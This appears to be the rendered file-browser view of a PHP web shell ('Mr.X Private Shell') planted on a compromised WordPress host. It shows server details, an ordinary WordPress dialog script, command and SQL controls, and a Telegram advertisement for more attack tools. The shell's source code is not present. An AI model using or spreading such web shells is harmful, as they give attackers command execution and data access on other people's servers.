Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////wp-includes/js/      ( Reset | Go to )
File Name: wpdialog.js
Edit
/**
 * @output wp-includes/js/wpdialog.js
 */

/*
 * Wrap the jQuery UI Dialog open function remove focus from tinyMCE.
 */
( function($) {
    $.widget('wp.wpdialog', $.ui.dialog, {
        open: function() {
            // Add beforeOpen event.
            if ( this.isOpen() || false === this._trigger('beforeOpen') ) {
                return;
            }

            // Open the dialog.
            this._super();

            // WebKit leaves focus in the TinyMCE editor unless we shift focus.
            this.element.focus();
            this._trigger('refresh');
        }
    });

    $.wp.wpdialog.prototype.options.closeOnEscape = false;

})(jQuery);

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL